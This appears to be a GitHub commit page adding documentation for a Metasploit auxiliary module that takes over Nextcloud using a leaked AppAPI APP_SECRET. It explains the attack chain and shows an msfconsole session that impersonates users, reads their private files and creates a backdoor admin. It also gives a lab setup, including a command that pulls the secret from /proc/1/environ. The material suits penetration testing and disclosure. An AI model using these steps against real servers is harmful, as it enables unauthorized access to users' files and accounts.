Skip to content

Commit 1cccbdd

Browse files
committed
Feat: Add Nextcloud AppApi interactive shell module
Interactive auxiliary module for full Nextcloud takeover via leaked AppApi secret. Features user impersonation, file browsing/download/ upload, admin creation, share listing, and tab completion.
1 parent 4bacaee commit 1cccbdd

File tree

2 files changed

+730
-0
lines changed

2 files changed

+730
-0
lines changed
Lines changed: 336 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,336 @@
1+
## Vulnerable Application
2+
3+
This module exploits the Nextcloud AppAPI authentication mechanism to gain full administrative
4+
control over a Nextcloud instance. It is designed to be used **after leaking the `APP_SECRET`**
5+
from a vulnerable ExApp container.
6+
7+
### Attack Chain Context
8+
9+
This shell is part of a larger exploitation chain documented in CVE-2026-29059
10+
(Nextcloud Flow Path Traversal):
11+
12+
1. **Leak APP_SECRET**: Use `auxiliary/gather/windmill_file_read` with `FILEPATH=/proc/1/environ`
13+
against a vulnerable Nextcloud Flow instance to extract the `APP_SECRET`
14+
2. **Full Nextcloud Takeover**: Use this shell with the leaked secret to impersonate any user,
15+
access all files, and create admin backdoors
16+
17+
### Why This Works: AppAPI Design Flaw
18+
19+
The AppAPI scope system was **removed** in [PR #373](https://github.com/nextcloud/app_api/pull/373)
20+
(September 2024) for "performance optimization". Previously, ExApps declared required scopes
21+
(FILES, USER_INFO, etc.) and Nextcloud restricted access. This security feature no longer exists.
22+
23+
The result: **any leaked `APP_SECRET` grants unrestricted access** to the entire Nextcloud
24+
instance, including:
25+
- User impersonation (bypass 2FA)
26+
- Full WebDAV access to all users' files
27+
- Admin account creation
28+
- Rate limit bypass
29+
30+
Affected versions:
31+
* Nextcloud with AppAPI >= 3.2.0 (scopes removed)
32+
* Any ExApp that stores `APP_SECRET` in `/proc/1/environ` (Flow, Assistant, etc.)
33+
34+
## How It Works
35+
36+
The AppAPI uses a simple authentication header: `AUTHORIZATION-APP-API: base64(userid:app_secret)`.
37+
The `userid` can be **any valid Nextcloud user** - there is no verification that the user
38+
consented to this ExApp. With a valid `APP_SECRET`, an attacker can:
39+
40+
1. **Impersonate ANY user** (including admins) - just change the userid in the header
41+
2. **Bypass 2FA** - AppAPI requests skip two-factor authentication
42+
3. Browse, read, upload, and delete files via WebDAV
43+
4. Create new admin accounts
44+
5. Enumerate shares, groups, and installed apps
45+
46+
## Options
47+
48+
### APP_SECRET (Required)
49+
The AppAPI shared secret, typically found in `/proc/1/environ` as `APP_SECRET=<value>`.
50+
51+
### APP_ID
52+
The external app identifier (Default: `flow`). Common values: `flow`, `assistant`, `context_chat`.
53+
54+
### APP_VERSION
55+
The external app version (Default: `1.0.0`).
56+
57+
### AA_VERSION
58+
The AppAPI protocol version (Default: `3.0.0`).
59+
60+
### OCS_VERSION
61+
OCS API version to use. Version `2` returns proper HTTP status codes, version `1` is legacy (Default: `2`).
62+
63+
## Verification Steps
64+
65+
1. Start msfconsole
66+
2. `use auxiliary/admin/http/nextcloud_appapi_shell`
67+
3. `set RHOSTS <target>`
68+
4. `set RPORT 443`
69+
5. `set SSL true`
70+
6. `set APP_SECRET <leaked_secret>`
71+
7. `run`
72+
73+
## Shell Commands
74+
75+
### User Management
76+
77+
| Command | Description |
78+
|-------------------------|---------------------------------------|
79+
| `users` | List all users |
80+
| `admins` | List admin users |
81+
| `su <user>` | Switch to impersonate another user |
82+
| `whoami` | Show current impersonated user |
83+
| `adduser <user> <pass>` | Create a new user |
84+
| `addadmin [user] [pass]`| Create admin (auto-generates if empty)|
85+
86+
### File Operations (WebDAV)
87+
88+
| Command | Description |
89+
|-------------------------|--------------------------------------|
90+
| `ls [path]` | List files in directory |
91+
| `cd <path>` | Change directory |
92+
| `pwd` | Print working directory |
93+
| `cat <file>` | Display file contents |
94+
| `download <file> [local]`| Download a file |
95+
| `upload <local> [remote]`| Upload a file |
96+
| `mkdir <dir>` | Create directory |
97+
| `rm <path>` | Delete file or directory |
98+
| `mv <src> <dst>` | Move/rename |
99+
| `cp <src> <dst>` | Copy |
100+
| `search <query>` | Search files by name |
101+
102+
### Enumeration
103+
104+
| Command | Description |
105+
|-----------|--------------------------------------|
106+
| `shares` | List all file shares |
107+
| `groups` | List groups and members |
108+
| `apps` | List installed apps |
109+
| `version` | Show server version and capabilities |
110+
111+
### Tips
112+
- Use **TAB** for auto-completion (commands, paths, users)
113+
- Use quotes for paths with spaces: `cat "my file.txt"`
114+
115+
## Scenarios
116+
117+
### Example: Full Compromise via Leaked APP_SECRET
118+
119+
```
120+
msf6 > use auxiliary/admin/http/nextcloud_appapi_shell
121+
msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set RHOSTS 192.168.1.100
122+
RHOSTS => 192.168.1.100
123+
msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set RPORT 443
124+
RPORT => 443
125+
msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set SSL true
126+
SSL => true
127+
msf6 auxiliary(admin/http/nextcloud_appapi_shell) > set APP_SECRET nXmiLwie59XUsRXWv7dUf1nFLC1DKIDMDtzbUsQvuqd1n6Dpxdr...
128+
APP_SECRET => nXmiLwie59XUsRXWv7dUf1nFLC1DKIDMDtzbUsQvuqd1n6Dpxdr...
129+
msf6 auxiliary(admin/http/nextcloud_appapi_shell) > run
130+
[*] Running module against 192.168.1.100
131+
[*] Connecting to 192.168.1.100:443...
132+
[+] Connected! Found 10 users
133+
134+
_ _ _ _ _
135+
| \ | | _____ _| |_ ___| | ___ _ _ __| |
136+
| \| |/ _ \ \/ / __/ __| |/ _ \| | | |/ _` |
137+
| |\ | __/> <| || (__| | (_) | |_| | (_| |
138+
|_| \_|\___/_/\_\\__\___|_|\___/ \__,_|\__,_|
139+
140+
AppAPI Shell v1.0 - Type 'help' for commands
141+
142+
[*] APP_ID: flow
143+
[+] Admin: admin
144+
[*] User: admin
145+
146+
nc(admin)> users
147+
[*] Fetching users...
148+
149+
Users
150+
=====
151+
152+
Username Role
153+
-------- ----
154+
admin admin
155+
alice user
156+
bob user
157+
158+
Total: 3 (1 admins)
159+
160+
nc(admin)> ls
161+
/
162+
=
163+
164+
Type Size Name
165+
---- ---- ----
166+
DIR Documents/
167+
DIR Photos/
168+
FILE 197B Readme.md
169+
170+
nc(admin)> cat Readme.md
171+
## Welcome to Nextcloud!
172+
...
173+
174+
nc(admin)> download Readme.md /tmp/readme.md
175+
[+] Downloaded 197 bytes to /tmp/readme.md
176+
177+
nc(admin)> addadmin
178+
[*] Auto-generating credentials...
179+
[+] Created admin: adm_x7k9z / P@ssw0rd!Kj8#mN2$
180+
[+] Login at: https://192.168.1.100/login
181+
182+
nc(admin)> exit
183+
[*] Exiting Nextcloud shell...
184+
[*] Auxiliary module execution completed
185+
```
186+
187+
### Example: Accessing Another User's Files
188+
189+
```
190+
nc(admin)> su alice
191+
[+] Switched to: alice
192+
193+
nc(alice)> pwd
194+
alice:/
195+
196+
nc(alice)> ls
197+
/
198+
=
199+
200+
Type Size Name
201+
---- ---- ----
202+
DIR Private/
203+
FILE 1024B secret.txt
204+
205+
nc(alice)> cat secret.txt
206+
This is Alice's private data...
207+
208+
nc(alice)> su admin
209+
[+] Switched to: admin
210+
```
211+
212+
## Lab Setup
213+
214+
This module requires a leaked `APP_SECRET` from a Nextcloud ExApp container (Flow, Assistant, etc.).
215+
216+
### Nextcloud with Flow
217+
218+
**Prerequisites:** Add to `/etc/hosts`:
219+
```bash
220+
sudo sh -c 'echo "127.0.0.1 localhost.local" >> /etc/hosts'
221+
```
222+
223+
Create directory structure:
224+
```bash
225+
mkdir -p nginx
226+
```
227+
228+
Create `docker-compose.yml`:
229+
230+
```yaml
231+
services:
232+
nextcloud-aio-mastercontainer:
233+
image: nextcloud/all-in-one:latest
234+
init: true
235+
restart: always
236+
container_name: nextcloud-aio-mastercontainer
237+
volumes:
238+
- nextcloud_aio_mastercontainer:/mnt/docker-aio-config
239+
- /var/run/docker.sock:/var/run/docker.sock:ro
240+
ports:
241+
- "8180:8080"
242+
environment:
243+
- APACHE_PORT=11000
244+
- APACHE_IP_BINDING=0.0.0.0
245+
- NEXTCLOUD_DATADIR=/mnt/ncdata
246+
- SKIP_DOMAIN_VALIDATION=true
247+
248+
nginx-proxy:
249+
image: nginx:alpine
250+
container_name: nextcloud-nginx-proxy
251+
restart: always
252+
ports:
253+
- "443:443"
254+
volumes:
255+
- ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro
256+
- ./nginx/ssl.crt:/etc/nginx/ssl/ssl.crt:ro
257+
- ./nginx/ssl.key:/etc/nginx/ssl/ssl.key:ro
258+
networks:
259+
- default
260+
- nextcloud-aio
261+
262+
volumes:
263+
nextcloud_aio_mastercontainer:
264+
name: nextcloud_aio_mastercontainer
265+
266+
networks:
267+
nextcloud-aio:
268+
name: nextcloud-aio
269+
external: true
270+
```
271+
272+
Create `nginx/nginx.conf`:
273+
274+
```nginx
275+
events {
276+
worker_connections 1024;
277+
}
278+
279+
http {
280+
server {
281+
listen 443 ssl;
282+
server_name localhost.local;
283+
284+
ssl_certificate /etc/nginx/ssl/ssl.crt;
285+
ssl_certificate_key /etc/nginx/ssl/ssl.key;
286+
287+
location / {
288+
proxy_pass http://nextcloud-aio-apache:11000;
289+
proxy_set_header Host $host;
290+
proxy_set_header X-Real-IP $remote_addr;
291+
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
292+
proxy_set_header X-Forwarded-Proto https;
293+
proxy_set_header X-Forwarded-Port 443;
294+
proxy_buffering off;
295+
proxy_request_buffering off;
296+
client_max_body_size 0;
297+
}
298+
}
299+
}
300+
```
301+
302+
Generate self-signed SSL certificate:
303+
304+
```bash
305+
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
306+
-keyout nginx/ssl.key -out nginx/ssl.crt \
307+
-subj "/CN=localhost.local"
308+
```
309+
310+
**Nextcloud AIO Configuration:**
311+
312+
1. `docker compose up -d`
313+
2. Open **https://localhost:8180** (accept self-signed certificate)
314+
3. Note the generated passphrase
315+
4. Enter domain: **`localhost.local`**
316+
5. In **Optional containers**, enable **Docker Socket Proxy**
317+
6. Click **Submit** then **Start containers**
318+
7. Wait for all containers to be "Running" (5-10 min)
319+
8. Create network: `docker network create nextcloud-aio`
320+
9. Connect nginx: `docker network connect nextcloud-aio nextcloud-nginx-proxy`
321+
10. Restart nginx: `docker restart nextcloud-nginx-proxy`
322+
11. Access Nextcloud: **https://localhost.local**
323+
12. In Nextcloud → **Apps** → Search **"Flow"** → **Install**
324+
325+
**Leak APP_SECRET:**
326+
327+
```bash
328+
docker exec nc_app_flow cat /proc/1/environ | tr '\0' '\n' | grep APP_SECRET # Get the APP_SECRET
329+
```
330+
331+
## References
332+
333+
* [PR #373 - Scope Removal](https://github.com/nextcloud/app_api/pull/373) - The PR that removed AppAPI scopes
334+
* [AppAPI Authentication Docs](https://docs.nextcloud.com/server/latest/developer_manual/exapp_development/tech_details/Authentication.html)
335+
* [Nextcloud OCS API](https://docs.nextcloud.com/server/latest/developer_manual/client_apis/OCS/)
336+
* [Nextcloud WebDAV API](https://docs.nextcloud.com/server/latest/developer_manual/client_apis/WebDAV/)

0 commit comments

Comments
 (0)